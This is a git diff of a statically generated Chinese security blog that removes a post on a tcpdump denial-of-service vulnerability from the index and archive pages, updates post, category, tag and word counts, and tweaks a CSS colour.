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index baca7330..174f2503 100644
--- a/2000/01/01/hello-world/index.html
+++ b/2000/01/01/hello-world/index.html
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                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
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       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/2018/11/16/BIBA访问控制模型实现(python)/index.html b/2018/11/16/BIBA访问控制模型实现(python)/index.html
index 4292e35f..381d9e1b 100644
--- a/2018/11/16/BIBA访问控制模型实现(python)/index.html
+++ b/2018/11/16/BIBA访问控制模型实现(python)/index.html
@@ -730,7 +730,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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                   <span class="site-state-item-name">分类</span>
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               <div class="site-state-item site-state-tags">
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-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/2018/12/15/miio-control/index.html b/2018/12/15/miio-control/index.html
index 2fb8370f..34cef32f 100644
--- a/2018/12/15/miio-control/index.html
+++ b/2018/12/15/miio-control/index.html
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                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
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@@ -643,7 +643,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
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@@ -654,7 +654,7 @@
               
               <div class="site-state-item site-state-tags">
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+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
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@@ -741,7 +741,7 @@
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     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html
index 497c239d..7b119b7f 100644
--- a/2018/12/23/基于规则引擎发现IOT设备/index.html
+++ b/2018/12/23/基于规则引擎发现IOT设备/index.html
@@ -544,8 +544,8 @@
 
           <div class="post-nav-prev post-nav-item">
             
-              <a href="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" rel="prev" title="TCPDUMP拒绝服务攻击漏洞">
-                TCPDUMP拒绝服务攻击漏洞 <i class="fa fa-chevron-right"></i>
+              <a href="/2019/01/16/wifi半双工侧信道攻击学习笔记/" rel="prev" title="wifi半双工侧信道攻击学习笔记">
+                wifi半双工侧信道攻击学习笔记 <i class="fa fa-chevron-right"></i>
               </a>
             
           </div>
@@ -632,7 +632,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
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@@ -643,7 +643,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -654,7 +654,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
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@@ -741,7 +741,7 @@
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     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
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diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html
index 77938925..46bbe0c8 100644
--- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html
+++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html
@@ -662,8 +662,8 @@ Server   -------wire----------|
         <div class="post-nav">
           <div class="post-nav-next post-nav-item">
             
-              <a href="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" rel="next" title="TCPDUMP拒绝服务攻击漏洞">
-                <i class="fa fa-chevron-left"></i> TCPDUMP拒绝服务攻击漏洞
+              <a href="/2018/12/23/基于规则引擎发现IOT设备/" rel="next" title="基于采集规则引擎的物联网设备发现方法">
+                <i class="fa fa-chevron-left"></i> 基于采集规则引擎的物联网设备发现方法
               </a>
             
           </div>
@@ -760,7 +760,7 @@ Server   -------wire----------|
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
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-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
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@@ -782,7 +782,7 @@ Server   -------wire----------|
               
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-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
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@@ -869,7 +869,7 @@ Server   -------wire----------|
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     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html
index cfc3c8c4..994ee038 100644
--- a/2019/02/22/qq数据库的加密解密/index.html
+++ b/2019/02/22/qq数据库的加密解密/index.html
@@ -609,7 +609,7 @@
               
                 <a href="/archives/">
               
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+                  <span class="site-state-item-count">10</span>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
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@@ -631,7 +631,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
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     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
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diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html
index 2157417c..570539df 100644
--- a/2019/03/16/小米固件工具mkxqimage/index.html
+++ b/2019/03/16/小米固件工具mkxqimage/index.html
@@ -616,7 +616,7 @@
               
                 <a href="/archives/">
               
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+                  <span class="site-state-item-count">10</span>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
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               <div class="site-state-item site-state-tags">
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+                  <span class="site-state-item-count">24</span>
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     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/2019/03/23/auto-send-WX/index.html b/2019/03/23/auto-send-WX/index.html
index 1903b390..ec1aa899 100644
--- a/2019/03/23/auto-send-WX/index.html
+++ b/2019/03/23/auto-send-WX/index.html
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                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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+                  <span class="site-state-item-count">6</span>
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               <div class="site-state-item site-state-tags">
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+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
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     </span>
     
-    <span title="Site words total count">17k</span>
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 </div>
 
diff --git a/2019/03/25/Samba-CVE/index.html b/2019/03/25/Samba-CVE/index.html
index 8cbfacfd..ea637938 100644
--- a/2019/03/25/Samba-CVE/index.html
+++ b/2019/03/25/Samba-CVE/index.html
@@ -651,7 +651,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
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@@ -662,7 +662,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -673,7 +673,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
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@@ -760,7 +760,7 @@
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     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/2019/03/28/逆向工程实验/index.html b/2019/03/28/逆向工程实验/index.html
index 82f526bd..49111ee9 100644
--- a/2019/03/28/逆向工程实验/index.html
+++ b/2019/03/28/逆向工程实验/index.html
@@ -96,7 +96,7 @@
 <meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553858953/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B77.png">
 <meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553937461/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B79.png">
 <meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553937531/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B711.png">
-<meta property="og:updated_time" content="2019-04-01T07:30:54.095Z">
+<meta property="og:updated_time" content="2019-04-01T07:39:08.837Z">
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                 <a href="/archives/">
               
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+                  <span class="site-state-item-count">10</span>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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                   <span class="site-state-item-name">分类</span>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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                   <span class="site-state-item-name">标签</span>
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     </span>
     
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+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/about/index.html b/about/index.html
index 69e3a51a..0ada3c00 100644
--- a/about/index.html
+++ b/about/index.html
@@ -367,7 +367,7 @@
               
                 <a href="/archives/">
               
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+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
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@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html
index 2dad0b11..c90491aa 100644
--- a/archives/2000/01/index.html
+++ b/archives/2000/01/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
                 <a href="/archives/">
               
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+                  <span class="site-state-item-count">10</span>
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                 </a>
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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
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@@ -419,7 +419,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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                   <span class="site-state-item-name">标签</span>
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@@ -490,7 +490,7 @@
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     </span>
     
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+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/archives/2000/index.html b/archives/2000/index.html
index 736ebe04..39394b78 100644
--- a/archives/2000/index.html
+++ b/archives/2000/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
                 <a href="/archives/">
               
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@@ -408,7 +408,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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@@ -419,7 +419,7 @@
               
               <div class="site-state-item site-state-tags">
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@@ -490,7 +490,7 @@
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+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html
index dd7122ac..7c37ab8a 100644
--- a/archives/2018/11/index.html
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@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
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@@ -397,7 +397,7 @@
               
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-                  <span class="site-state-item-count">11</span>
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diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html
index afc1c97b..69e6728c 100644
--- a/archives/2018/12/index.html
+++ b/archives/2018/12/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
       </span>
 
       
@@ -318,41 +318,6 @@
 
         
 
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-        
-        
-
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   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
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@@ -467,7 +432,7 @@
               
                 <a href="/archives/">
               
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@@ -489,7 +454,7 @@
               
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@@ -560,7 +525,7 @@
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diff --git a/archives/2018/index.html b/archives/2018/index.html
index 6cb733d9..0148f525 100644
--- a/archives/2018/index.html
+++ b/archives/2018/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
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@@ -318,41 +318,6 @@
 
         
 
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@@ -502,7 +467,7 @@
               
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@@ -595,7 +560,7 @@
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 </div>
 
diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html
index 14ee5089..6477a68c 100644
--- a/archives/2019/01/index.html
+++ b/archives/2019/01/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
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 </div>
 
diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html
index f797f7bd..a15086c4 100644
--- a/archives/2019/02/index.html
+++ b/archives/2019/02/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
       </span>
 
       
@@ -397,7 +397,7 @@
               
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 </div>
 
diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html
index c72fd9d1..e798d228 100644
--- a/archives/2019/03/index.html
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@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
       </span>
 
       
@@ -502,7 +502,7 @@
               
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 </div>
 
diff --git a/archives/2019/index.html b/archives/2019/index.html
index 2697731f..6ec78251 100644
--- a/archives/2019/index.html
+++ b/archives/2019/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
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@@ -572,7 +572,7 @@
               
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 </div>
 
diff --git a/archives/index.html b/archives/index.html
index 07f358a6..ff68510f 100644
--- a/archives/index.html
+++ b/archives/index.html
@@ -299,7 +299,7 @@
         
           
         
-        嗯..! 目前共计 11 篇日志。 继续努力。
+        嗯..! 目前共计 10 篇日志。 继续努力。
       </span>
 
       
@@ -533,41 +533,6 @@
 
         
 
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-
-      <h2 class="post-title">
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-              
-                <span itemprop="name">TCPDUMP拒绝服务攻击漏洞</span>
-              
-            </a>
-        
-      </h2>
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-      <div class="post-meta">
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-        
-        
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-        
-
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
     <header class="post-header">
 
@@ -664,6 +629,46 @@
 
       
 
+        
+        
+        
+
+        
+          
+          <div class="collection-title">
+            <h1 class="archive-year" id="archive-year-2000">2000</h1>
+          </div>
+        
+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">
+              
+                <span itemprop="name">Hello World</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2000-01-01T00:00:00+08:00" content="2000-01-01">
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+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
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   </div>
   
@@ -671,10 +676,6 @@
   
 
   
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@@ -721,7 +722,7 @@
               
                 <a href="/archives/">
               
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                   <span class="site-state-item-name">日志</span>
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diff --git a/baidusitemap.xml b/baidusitemap.xml
index 5ff92c85..bf30ceda 100644
--- a/baidusitemap.xml
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     <lastmod>2019-04-01</lastmod>
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diff --git a/bookmarks/index.html b/bookmarks/index.html
index ba5dd817..d9f8eab1 100644
--- a/bookmarks/index.html
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+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
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@@ -414,7 +414,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
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+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -425,7 +425,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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                   <span class="site-state-item-name">标签</span>
                 </a>
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@@ -512,7 +512,7 @@
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 </div>
 
diff --git a/categories/IOT/index.html b/categories/IOT/index.html
index 5507d6a4..c4dec7be 100644
--- a/categories/IOT/index.html
+++ b/categories/IOT/index.html
@@ -430,7 +430,7 @@
               
                 <a href="/archives/">
               
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+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
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                   <span class="site-state-item-name">分类</span>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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+                  <span class="site-state-item-count">24</span>
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@@ -523,7 +523,7 @@
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+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/categories/index.html b/categories/index.html
index 18cd78d9..f35f38cd 100644
--- a/categories/index.html
+++ b/categories/index.html
@@ -308,10 +308,10 @@
         
           <div class="category-all-page">
             <div class="category-all-title">
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+                目前共计 6 个分类
             </div>
             <div class="category-all">
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+              <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/IOT/">IOT</a><span class="category-list-count">3</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/二进制/">二进制</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/加密解密/">加密解密</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/杂七杂八/">杂七杂八</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/理论学习/">理论学习</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/顶会论文/">顶会论文</a><span class="category-list-count">2</span></li></ul>
             </div>
           </div>
         
@@ -369,7 +369,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -380,7 +380,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -391,7 +391,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -462,7 +462,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/categories/二进制/index.html b/categories/二进制/index.html
index f7866802..ce0c283c 100644
--- a/categories/二进制/index.html
+++ b/categories/二进制/index.html
@@ -324,32 +324,6 @@
 
 
       
-        
-
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-    <header class="post-header">
-
-      <h2 class="post-title">
-        
-            <a class="post-title-link" href="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" itemprop="url">
-              
-                <span itemprop="name">TCPDUMP拒绝服务攻击漏洞</span>
-              
-            </a>
-        
-      </h2>
-
-      <div class="post-meta">
-        <time class="post-time" itemprop="dateCreated" datetime="2018-12-25T12:26:05+08:00" content="2018-12-25">
-          12-25
-        </time>
-      </div>
-
-    </header>
-  </article>
-
-
-      
     </div>
 
   </div>
@@ -404,7 +378,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -415,7 +389,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -426,7 +400,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -497,7 +471,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/categories/加密解密/index.html b/categories/加密解密/index.html
index 9c977951..38c5d06c 100644
--- a/categories/加密解密/index.html
+++ b/categories/加密解密/index.html
@@ -378,7 +378,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +400,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -471,7 +471,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/categories/杂七杂八/index.html b/categories/杂七杂八/index.html
index 311f22c9..63f747a0 100644
--- a/categories/杂七杂八/index.html
+++ b/categories/杂七杂八/index.html
@@ -378,7 +378,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +400,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -471,7 +471,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/categories/理论学习/index.html b/categories/理论学习/index.html
index c5fd0d7e..85a925d8 100644
--- a/categories/理论学习/index.html
+++ b/categories/理论学习/index.html
@@ -378,7 +378,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +400,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -471,7 +471,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/categories/顶会论文/index.html b/categories/顶会论文/index.html
index d9626125..43e89655 100644
--- a/categories/顶会论文/index.html
+++ b/categories/顶会论文/index.html
@@ -404,7 +404,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -415,7 +415,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -426,7 +426,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -497,7 +497,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/css/main.css b/css/main.css
index 5ca1f65d..cb41d229 100644
--- a/css/main.css
+++ b/css/main.css
@@ -1943,7 +1943,7 @@ pre .javascript .function {
   width: 4px;
   height: 4px;
   border-radius: 50%;
-  background: #422dff;
+  background: #857304;
 }
 .links-of-blogroll {
   font-size: 13px;
diff --git a/index.html b/index.html
index c4686145..e2267a5b 100644
--- a/index.html
+++ b/index.html
@@ -1455,193 +1455,6 @@ WinDbg
   
   
 
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-  
-  
-  
-  <div class="post-block">
-    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2018/12/25/TCPDUMP拒绝服务攻击漏洞/">
-
-    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
-      <meta itemprop="name" content="Cool-Y">
-      <meta itemprop="description" content>
-      <meta itemprop="image" content="/images/avatar.png">
-    </span>
-
-    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
-      <meta itemprop="name" content="混元霹雳手">
-    </span>
-
-    
-      <header class="post-header">
-
-        
-        
-          <h1 class="post-title" itemprop="name headline">
-                
-                <a class="post-title-link" href="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" itemprop="url">TCPDUMP拒绝服务攻击漏洞</a></h1>
-        
-
-        <div class="post-meta">
-          <span class="post-time">
-            
-              <span class="post-meta-item-icon">
-                <i class="fa fa-calendar-o"></i>
-              </span>
-              
-                <span class="post-meta-item-text">发表于</span>
-              
-              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-12-25T12:26:05+08:00">
-                2018-12-25
-              </time>
-            
-
-            
-
-            
-          </span>
-
-          
-            <span class="post-category">
-            
-              <span class="post-meta-divider">|</span>
-            
-              <span class="post-meta-item-icon">
-                <i class="fa fa-folder-o"></i>
-              </span>
-              
-                <span class="post-meta-item-text">分类于</span>
-              
-              
-                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
-                  <a href="/categories/二进制/" itemprop="url" rel="index">
-                    <span itemprop="name">二进制</span>
-                  </a>
-                </span>
-
-                
-                
-              
-            </span>
-          
-
-          
-            
-          
-
-          
-          
-             <span id="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/" class="leancloud_visitors" data-flag-title="TCPDUMP拒绝服务攻击漏洞">
-               <span class="post-meta-divider">|</span>
-               <span class="post-meta-item-icon">
-                 <i class="fa fa-eye"></i>
-               </span>
-               
-                 <span class="post-meta-item-text">阅读次数&#58;</span>
-               
-                 <span class="leancloud-visitors-count"></span>
-             </span>
-          
-
-          
-
-          
-            <div class="post-wordcount">
-              
-                
-                <span class="post-meta-item-icon">
-                  <i class="fa fa-file-word-o"></i>
-                </span>
-                
-                <span title="字数统计">
-                  3.4k 字
-                </span>
-              
-
-              
-                <span class="post-meta-divider">|</span>
-              
-
-              
-                <span class="post-meta-item-icon">
-                  <i class="fa fa-clock-o"></i>
-                </span>
-                
-                <span title="阅读时长">
-                  16 分钟
-                </span>
-              
-            </div>
-          
-
-          
-
-        </div>
-      </header>
-    
-
-    
-    
-    
-    <div class="post-body" itemprop="articleBody">
-
-      
-      
-
-      
-        
-          
-          TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍
-tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac O
-          ...
-          <!--noindex-->
-          <div class="post-button text-center">
-            <a class="btn" href="/2018/12/25/TCPDUMP拒绝服务攻击漏洞/#more" rel="contents">
-              阅读全文 &raquo;
-            </a>
-          </div>
-          <!--/noindex-->
-        
-      
-    </div>
-    
-    
-    
-
-    
-
-    
-
-    
-
-    <footer class="post-footer">
-      
-
-      
-
-      
-
-      
-      
-        <div class="post-eof"></div>
-      
-    </footer>
-  </div>
-  
-  
-  
-  </article>
-
-
-    
-      
-
-  
-
-  
-  
-  
-
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
   
   
@@ -2183,6 +1996,171 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
 
     
 
+    <footer class="post-footer">
+      
+
+      
+
+      
+
+      
+      
+        <div class="post-eof"></div>
+      
+    </footer>
+  </div>
+  
+  
+  
+  </article>
+
+
+    
+      
+
+  
+
+  
+  
+  
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2000/01/01/hello-world/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
